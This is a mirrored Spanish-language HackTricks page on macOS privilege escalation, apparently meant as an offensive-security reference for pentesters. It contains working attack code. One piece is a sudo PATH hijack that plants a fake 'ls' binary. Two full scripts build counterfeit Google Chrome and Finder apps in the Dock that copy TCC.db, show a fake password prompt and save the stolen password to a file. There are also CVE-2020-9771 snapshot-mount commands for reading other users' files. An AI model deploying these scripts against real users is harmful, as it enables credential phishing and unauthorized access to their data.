mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-13 06:42:54 +00:00
263 lines
12 KiB
Markdown
263 lines
12 KiB
Markdown
|
# Privilegio de Escalada en macOS
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Escalada de Privilegios en TCC
|
||
|
|
||
|
Si viniste aquí buscando la escalada de privilegios en TCC, ve a:
|
||
|
|
||
|
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
||
|
[macos-tcc](macos-security-protections/macos-tcc/)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Privesc en Linux
|
||
|
|
||
|
Ten en cuenta que **la mayoría de los trucos sobre escalada de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS**. Así que consulta:
|
||
|
|
||
|
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||
|
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Interacción del Usuario
|
||
|
|
||
|
### Secuestro de Sudo
|
||
|
|
||
|
Puedes encontrar la técnica original de **Secuestro de Sudo** dentro de la publicación de **Escalada de Privilegios en Linux**](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||
|
|
||
|
Sin embargo, macOS **mantiene** la **`PATH`** del usuario cuando ejecuta **`sudo`**. Lo que significa que otra forma de lograr este ataque sería **secuestrar otros binarios** que la víctima ejecutará al **ejecutar sudo:**
|
||
|
```bash
|
||
|
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||
|
cat > /opt/homebrew/bin/ls <<EOF
|
||
|
#!/bin/bash
|
||
|
if [ "\$(id -u)" -eq 0 ]; then
|
||
|
whoami > /tmp/privesc
|
||
|
fi
|
||
|
/bin/ls "\$@"
|
||
|
EOF
|
||
|
chmod +x /opt/homebrew/bin/ls
|
||
|
|
||
|
# victim
|
||
|
sudo ls
|
||
|
```
|
||
|
Ten en cuenta que es muy probable que un usuario que utiliza la terminal tenga **Homebrew instalado**. Por lo tanto, es posible secuestrar binarios en **`/opt/homebrew/bin`**.
|
||
|
|
||
|
### Suplantación de la barra de tareas
|
||
|
|
||
|
Utilizando **ingeniería social**, podrías **suplantar, por ejemplo, Google Chrome** dentro de la barra de tareas y ejecutar tu propio script:
|
||
|
|
||
|
{% tabs %}
|
||
|
{% tab title="Suplantación de Chrome" %}
|
||
|
Algunas sugerencias:
|
||
|
|
||
|
* Verifica en la barra de tareas si hay un Chrome y, en ese caso, **elimina** esa entrada y **agrega** la **entrada falsa de Chrome en la misma posición** en el arreglo de la barra de tareas.
|
||
|
```bash
|
||
|
#!/bin/sh
|
||
|
|
||
|
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
|
||
|
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
|
||
|
|
||
|
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
|
||
|
|
||
|
# Create App structure
|
||
|
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
|
||
|
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
|
||
|
|
||
|
# Payload to execute
|
||
|
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
int main() {
|
||
|
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
|
||
|
"sleep 2; "
|
||
|
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||
|
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||
|
"echo \$PASSWORD > /tmp/passwd.txt";
|
||
|
system(cmd);
|
||
|
return 0;
|
||
|
}
|
||
|
EOF
|
||
|
|
||
|
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
|
||
|
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
|
||
|
|
||
|
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
|
||
|
|
||
|
# Info.plist
|
||
|
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
|
||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||
|
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
|
<plist version="1.0">
|
||
|
<dict>
|
||
|
<key>CFBundleExecutable</key>
|
||
|
<string>Google Chrome</string>
|
||
|
<key>CFBundleIdentifier</key>
|
||
|
<string>com.google.Chrome</string>
|
||
|
<key>CFBundleName</key>
|
||
|
<string>Google Chrome</string>
|
||
|
<key>CFBundleVersion</key>
|
||
|
<string>1.0</string>
|
||
|
<key>CFBundleShortVersionString</key>
|
||
|
<string>1.0</string>
|
||
|
<key>CFBundleInfoDictionaryVersion</key>
|
||
|
<string>6.0</string>
|
||
|
<key>CFBundlePackageType</key>
|
||
|
<string>APPL</string>
|
||
|
<key>CFBundleIconFile</key>
|
||
|
<string>app</string>
|
||
|
</dict>
|
||
|
</plist>
|
||
|
EOF
|
||
|
|
||
|
# Copy icon from Google Chrome
|
||
|
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
|
||
|
|
||
|
# Add to Dock
|
||
|
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||
|
sleep 0.1
|
||
|
killall Dock
|
||
|
```
|
||
|
{% tab title="Suplantación de Finder" %}
|
||
|
Algunas sugerencias:
|
||
|
|
||
|
* No puedes eliminar Finder del Dock, así que si vas a agregarlo al Dock, podrías colocar el Finder falso justo al lado del real. Para esto, debes agregar la entrada del Finder falso al principio del array del Dock.
|
||
|
* Otra opción es no colocarlo en el Dock y simplemente abrirlo, no es tan extraño que aparezca "Finder solicitando controlar Finder".
|
||
|
```bash
|
||
|
#!/bin/sh
|
||
|
|
||
|
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
|
||
|
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
|
||
|
|
||
|
rm -rf /tmp/Finder.app/ 2>/dev/null
|
||
|
|
||
|
# Create App structure
|
||
|
mkdir -p /tmp/Finder.app/Contents/MacOS
|
||
|
mkdir -p /tmp/Finder.app/Contents/Resources
|
||
|
|
||
|
# Payload to execute
|
||
|
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
int main() {
|
||
|
char *cmd = "open /System/Library/CoreServices/Finder.app & "
|
||
|
"sleep 2; "
|
||
|
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||
|
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||
|
"echo \$PASSWORD > /tmp/passwd.txt";
|
||
|
system(cmd);
|
||
|
return 0;
|
||
|
}
|
||
|
EOF
|
||
|
|
||
|
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
|
||
|
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
|
||
|
|
||
|
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
|
||
|
|
||
|
# Info.plist
|
||
|
cat << EOF > /tmp/Finder.app/Contents/Info.plist
|
||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||
|
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
|
<plist version="1.0">
|
||
|
<dict>
|
||
|
<key>CFBundleExecutable</key>
|
||
|
<string>Finder</string>
|
||
|
<key>CFBundleIdentifier</key>
|
||
|
<string>com.apple.finder</string>
|
||
|
<key>CFBundleName</key>
|
||
|
<string>Finder</string>
|
||
|
<key>CFBundleVersion</key>
|
||
|
<string>1.0</string>
|
||
|
<key>CFBundleShortVersionString</key>
|
||
|
<string>1.0</string>
|
||
|
<key>CFBundleInfoDictionaryVersion</key>
|
||
|
<string>6.0</string>
|
||
|
<key>CFBundlePackageType</key>
|
||
|
<string>APPL</string>
|
||
|
<key>CFBundleIconFile</key>
|
||
|
<string>app</string>
|
||
|
</dict>
|
||
|
</plist>
|
||
|
EOF
|
||
|
|
||
|
# Copy icon from Finder
|
||
|
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
|
||
|
|
||
|
# Add to Dock
|
||
|
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||
|
sleep 0.1
|
||
|
killall Dock
|
||
|
```
|
||
|
{% endtab %}
|
||
|
{% endtabs %}
|
||
|
|
||
|
## TCC - Escalada de privilegios de root
|
||
|
|
||
|
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios de montaje_apfs
|
||
|
|
||
|
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
|
||
|
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga **Acceso completo al disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser otorgado por un administrador.
|
||
|
|
||
|
{% code overflow="wrap" %}
|
||
|
```bash
|
||
|
# Create snapshot
|
||
|
tmutil localsnapshot
|
||
|
|
||
|
# List snapshots
|
||
|
tmutil listlocalsnapshots /
|
||
|
Snapshots for disk /:
|
||
|
com.apple.TimeMachine.2023-05-29-001751.local
|
||
|
|
||
|
# Generate folder to mount it
|
||
|
cd /tmp # I didn it from this folder
|
||
|
mkdir /tmp/snap
|
||
|
|
||
|
# Mount it, "noowners" will mount the folder so the current user can access everything
|
||
|
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
|
||
|
|
||
|
# Access it
|
||
|
ls /tmp/snap/Users/admin_user # This will work
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
Una explicación más detallada se puede encontrar en el [**informe original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||
|
|
||
|
## Información Sensible
|
||
|
|
||
|
Esto puede ser útil para escalar privilegios:
|
||
|
|
||
|
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
||
|
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
###
|
||
|
|
||
|
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|